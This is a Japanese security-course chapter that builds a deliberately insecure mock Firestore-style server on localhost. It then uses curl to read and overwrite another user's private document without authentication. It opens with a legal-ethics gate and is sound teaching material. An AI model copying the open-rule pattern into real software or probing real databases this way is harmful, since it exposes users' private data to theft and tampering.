コース目次 / 第1章

開いたルール — 認証なしで、読み書きする

Firestore風のREST APIを模したモックサーバに、セキュリティルールを開けたまま(誰でも読み書き可)公開し、認証なしで他人のデータを読み・書き換えます。

第1章 / 全4章目安 約11分この章のゴール: 開いたセキュリティルールが認証なしの読み書きを許してしまう様子を確認する

Firestore の REST API と同じ考え方——「コレクション/ドキュメントのパスに、HTTPでアクセスする」——を再現したモックを立てます。

法と倫理ゲート

手を動かす前に

このコースは攻撃の技術に触れます。実習してよい相手は、次の3つだけです。

  • (a) 自分で作った練習用のやられ環境(このサイトが配る自作ターゲット)
  • (b) あなた自身の許可された環境(自分の Thousand SKY・secret-notes-ctf など)
  • (c) CTF 競技の中(規約の範囲で)

実在する第三者のシステムを許可なく触ることは、不正アクセス禁止法に触れます。 このゲートは、その線引きを毎回の入口で確かめるためのものです。詳しくは「セキュリティの法と倫理」へ。

標的 — ルールを開けたモック

mock-firestore.js として保存します。users コレクションに、2人ぶんのドキュメントがあります。

// mock-firestore.js — Firestore風REST APIのモック。127.0.0.1:4300。
// OPEN=1 で「誰でも読み書きできる」ルール(allow read, write: if true 相当)を再現する。
const http = require('node:http');

const OPEN = process.env.OPEN === '1';
const docs = {
  'users/u1': { owner: 'u1', name: '架空太郎', email: 'haruto@example.com' },
  'users/u2': { owner: 'u2', name: '架空花子', email: 'hanako@example.com', diary: '今日は誰にも見られたくない日記' },
};

http.createServer((req, res) => {
  const url = new URL(req.url, 'http://127.0.0.1:4300');
  const m = /^\/v1\/projects\/demo-app\/databases\(default\)\/documents\/(.+)$/.exec(url.pathname);
  res.setHeader('Content-Type', 'application/json; charset=utf-8');
  if (!m) { res.end(JSON.stringify({ hint: '/v1/projects/demo-app/databases(default)/documents/users/u2' })); return; }
  const path = m[1];
  const auth = req.headers['authorization']; // 本来はIDトークン。ここでは "Bearer <uid>" で簡略化。
  const doc = docs[path];

  if (req.method === 'GET') {
    if (!doc) { res.writeHead(404); res.end(JSON.stringify({ error: 'not found' })); return; }
    // 【穴: 開いたルール】OPEN=1 のとき、認証を一切確認せず返す。
    if (!OPEN) {
      const uid = auth ? auth.replace('Bearer ', '') : null;
      if (uid !== doc.owner) { res.writeHead(403); res.end(JSON.stringify({ error: 'PERMISSION_DENIED' })); return; }
    }
    res.end(JSON.stringify(doc));
    return;
  }
  if (req.method === 'PATCH') {
    let body = ''; req.on('data', (c) => (body += c));
    req.on('end', () => {
      if (!doc) { res.writeHead(404); res.end(JSON.stringify({ error: 'not found' })); return; }
      if (!OPEN) {
        const uid = auth ? auth.replace('Bearer ', '') : null;
        if (uid !== doc.owner) { res.writeHead(403); res.end(JSON.stringify({ error: 'PERMISSION_DENIED' })); return; }
      }
      Object.assign(doc, JSON.parse(body));
      res.end(JSON.stringify(doc));
    });
    return;
  }
  res.end('ok');
}).listen(4300, '127.0.0.1', () => console.log('モックFirestore: http://127.0.0.1:4300 (Ctrl+C で停止)'));

攻撃 — 認証なしで、他人のドキュメントを読む

ルールが開いている(OPEN=1)状態で起動します。

OPEN=1 node mock-firestore.js

何の認証ヘッダーも付けずに、花子の非公開ドキュメントを読みます。

curl -s "http://127.0.0.1:4300/v1/projects/demo-app/databases(default)/documents/users/u2"
{"owner":"u2","name":"架空花子","email":"hanako@example.com","diary":"今日は誰にも見られたくない日記"}

ログインすら、していません。それでも、花子の非公開の日記まで丸ごと読めました。原因は、サーバコード(存在しません)ではなく、データベース側のルールが「誰でも読み書きしてよい」になっていたことです。実際の Firestore では、これはallow read, write: if true;というルール(あるいは、ルールを一切設定しないまま公開する)に相当します。

攻撃 — 認証なしで、書き換える

読むだけでなく、書き換えも試します。

curl -s -X PATCH -H "Content-Type: application/json" \
  -d '{"diary": "書き換えられました"}' \
  "http://127.0.0.1:4300/v1/projects/demo-app/databases(default)/documents/users/u2"
{"owner":"u2","name":"架空花子","email":"hanako@example.com","diary":"書き換えられました"}

認証なしで、他人のデータを書き換えることまでできてしまいました。「読まれるだけ」ではなく「改ざんされる」——sec-web-basics の反射XSSやsec-logicの価格改ざんと同じ重さの被害です。

なぜ、これが「実案件最頻の所見」なのか

BaaS(サーバコードを書かない構成)は、開発の速さが魅力です。でも、その速さは「まずルールを全開にして動かし、あとで締めるつもりが、締め忘れる」という事故と隣り合わせです。サーバコードがあれば「認可を書く」という工程が目に見えて存在しますが、ルールベースの世界では、その工程が“設定”の中に埋もれてしまい、見落とされがちです。実際の診断で、この「ルールを締め忘れたデータベース」は、驚くほど頻繁に見つかります。

持ち帰る一言

ルールが開いていれば、認証なしで読み書きできる。 サーバコードが無くても、認可の要である「ルール」を締め忘れれば、旗艦コースで見たIDORと同じ、それ以上の被害になります。次の章で、このルールを締めます。

こうなっていればOK

卒業まであと2章です。

この章はまだ完了していません。